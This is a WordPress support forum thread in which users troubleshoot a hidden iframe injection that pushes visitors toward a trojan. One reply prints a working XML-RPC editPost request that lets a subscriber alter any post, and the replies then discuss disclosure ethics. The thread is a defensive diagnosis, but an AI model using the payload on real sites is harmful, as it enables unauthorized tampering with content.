• Hi,

    I’ve searched around for a resolution to my problem but the closet thread I can find is this: https://www.ads-software.com/support/topic/89912?replies=4

    Basically about a week ago my site began experiencing problems whenever I tried to access the home page >https://www.heroes-hype.com. The screen just freezes for about 10 minutes..sometimes it also throws me out (closes the browser). In the browser footer it displays the following:

    waiting for https://xx.xx.xx.xx./iframe/wp-stats.php

    (the ‘x’ is an IP address which I don’t recognise)

    At first I suspected that it was a problem with the wp-stats plugin which I had just installed prior to this problem surfacing. So I removed the plugin (and other plugins)..I also tried other themes and browsers, but a wee alter and the problem still remains.

    So I contacted my host (as one of the threads here suggested I do) and they have reported to me the following:

    “Your site was most likely injected with a 1px iframe due to a vulnerability in WordPress — which is why 2.2.3 was rushed out and pushed out to everyone. A number of sites have the same link which leads one to believe it was due to an exploit in either WordPress itself or the theme you’re using (which has also been called into question as of late).”

    So now i’m wondering whether anyone can corroborate that this is the likely reason..and whether they is anything I can do to resolve the problem. I would of course like to upgrade to 2.3 asap, but I doubt this will solve the issue in itself..or will it?

    Any advise would be much appreciated.

    PS I am using the CSS Freak theme.

Viewing 15 replies - 46 through 60 (of 89 total)
  • I too had this occur today. Kaspersky whined at me that I was trying to download a trojan when I went to my blog. Using phpAdmin search I found two ‘wp-stats’ injections and a ‘noscript’ injection as mentioned on this thread. So it seems to me that the injection directs you to a site that wants to download a trojan. I immediately upgraded to wp 2.3.2 (I was previously running 2.2).

    Since I don’t get a lot of user comments I did find that the injection seems to correlate to a user making a comment. I received a moderation email from wordpress yesterday which looked really odd (and was the only one):

    A new comment on the post #3 "Welcome" is waiting for your approval
    https://www.lostpencil.com/wordpress/?p=3
    
    Author : +AFw-')/* (IP: 80.68.6.214 , 80.68.6.214)
    E-mail :
    URL    : https://ekibastos
    Whois  : https://ws.arin.net/cgi-bin/whois.pl?queryinput=80.68.6.214
    Comment:
    <strong>ekibastos</strong>
    
    ekibastos

    So I turned off comments. I suspect that the injection occured through making the comment. Just in case I also renamed the xmlrpc.php file in the wordpress directory… by the way, when is this file used by WordPress and will that break anything important?

    Anyway, I hope that helps.

    Cheers,
    Paul

    I just had this happen with me. Running 2.3.2, post was made on the 28th and injection happened sometime between then and about 3 today, so the problem is definitely in 2.3.2 or a plugin somewhere. I think it’s in xmlrpc.

    These are the entries I believe are the culprit:

    200.244.21.61 – – [28/Jan/2008:13:10:28 -0500] “POST /xmlrpc.php HTTP/1.0” 200 2336 “-” “Opera/9.01 (Windows NT 5.0; U; en)”
    200.216.67.181 – – [28/Jan/2008:13:10:54 -0500] “POST /xmlrpc.php HTTP/1.0” 200 163 “-” “Opera/9.01 (Windows NT 5.0; U; en)”

    I have set up query logging as well, and I’m going to try to figure out how to set up POST logging too. But this is a problem that needs to be fixed.

    I can see a problem at AzzQim’s website. The permission on ‘themes’ folder is possibly set to 755, which makes folder content viewable and downloadable anyone. I see ‘almost-spring’ folder, fh-freedom-blue-01.zip and so forth.

    ‘wp-includes’ folder is open, too.

    macsoft,

    you dont have much of a grip on permissions.

    Directories have to be 755 for the files inside of them to be accessed by the web server.

    Ive stated this in another thread you made waves about this in, but I will state it again here — there is NO extra security risk with directories being chmod 755.

    Furthermore, that a given directory is browsable, merely means that Options All -Indexes has not been enabled in one’s .htacces AND that there is no index file in the given directory.

    duskglow, I am logging all _$POST variables sent to my blog.

    I think thats a great idea, given the current rash of troubles.

    Anyone that is interested in knowing how they too, can join the experiment, and get the code, can email me at whoo AT whoo.org

    Please be prepared to share the URL to your WP blog, just to show your sincere in your effort.

    While I hope to learn something, I might not since mod_security seems to catch everything that is malicious, but you never know.

    Actually, I think I just found the exploit. I don’t want to publish it here. Can someone from wordpress please tell me where to post the info?

    Here’s a hint. Turn off xmlrpc or close subscriptions IMMEDIATELY. Anyone who can subscribe to your blog can change ANY content if xmlrpc is enabled, and I just proved it.

    Ah, heck. I think this bug is being actively exploited, so I may as well, so you can protect yourself. Here’s the post I sent to the xmlrpc list.

    I’m a little hesitant to post this here as it’s a publically available list, but I think I just found a security hole in xmlrpc that is being actively exploited, and as such, may as well sound the alarm.

    the problem is in mw_editPost. It only validates that you can edit the post if the post_type is “post”. But the post_type is exactly what you say it is, and it’s easy to lie and say something is a page when it’s actually a post, and edit it in the same way as a post (but while circumventing the checks). I think another routine has the same problem.

    I created an ordinary subscriber with no special permissions and uploaded a special rpcxml file:

    <?xml version=”1.0″?>
    <methodCall>
    <methodName>metaWeblog.editPost</methodName>
    <params>
    <value><i4>283</i4></value>
    <value><string>test</string></value>
    <value><string>*pass*</string></value>
    <struct>
    <member>
    <name>post_type</name>
    <value>page</value>
    </member>
    <member>
    <name>title</name>
    <value>hacked</value>
    </member>
    <member>
    <name>post_content</name>
    <value>hacked</value>
    </member>
    </struct>
    </params>
    </methodCall>

    And was able to edit the post with ID 283, with nothing other than a subscriber account.

    I’m turning off subscriber right now, and recommend everyone do the same or disable xmlrpc until this is fixed.

    Moderator Dion Hulse

    (@dd32)

    Meta Developer

    https://www.ads-software.com/about/contact/
    [email protected]

    I see what you mean, and without testing for myself, you may be right.. However, You must now realise that its not just the major people who know the exploit now, but rather, all the script kiddies too.
    You could edit the posting, but, not sure how much that’ll help right now.

    They already know about it. I went spelunking for this precisely because someone went changing my blog and I didn’t know how. That’s why I’m not too concerned about it, everyone who would cause problems has already found out. At least we’re now on equal footing and know how to work around it.

    These kinds of things are always tricky.

    (well, not everyone – I am sure a few didn’t know – but it was indeed being actively exploited.)

    Moderator Dion Hulse

    (@dd32)

    Meta Developer

    (well, not everyone – I am sure a few didn’t know – but it was indeed being actively exploited.)

    I wouldnt be supprised about that, But given its not been worked out until now, and this thread is 4 months old..

    If the exploit has been published, then it’d be fixed by now, the fact it hasnt been published(Security minded people do monitor the release lists/boards) says that its been kept close to certain groups, and probably sold off to someone who’s been injecting these iframes.
    Skiddies who just want to wipe everyones blogs probably didnt know about it though, 2 different classes of attackers, One who wants to say invisible and reap the benefit of modifying posts, One who wants to cause chaos moreso.

    I’m not saying you’ve chosen the wrong thing to do however, You made the decision, and in this case it had to happen sooner or later, and you’ve chosen a WP support board rather than a security bullitin release that goes out to thousands of no-good-doers, So its definately better than worst case ??

    Like to say thanks to you from all those affected for figuring it out though.. Greatly appreciated by all i’m sure

    I know what you mean and it was a tough decision. If it had been something I had found with no indication that it was being exploited I would have definitely handled it way differently. Also, if there had been no easy way to work around this, I also would have handled it differently.

    Kind of a “darned if you do, darned if you don’t” kinda thing.

    tested this, and this does work. however my tester says your code is incorrect. the other notable thing is that the edited posts are changed to drafts.

    there is a working proof of concept up here > [removed, please don’t post PoCs until there is a fixed release available]

    It seems what I did up there wasn’t the right thing to do. Cat’s out of the bag now, but next time I’ll go through the right process. Really sorry for the inconenience.

Viewing 15 replies - 46 through 60 (of 89 total)
  • The topic ‘iframe injection problem?’ is closed to new replies.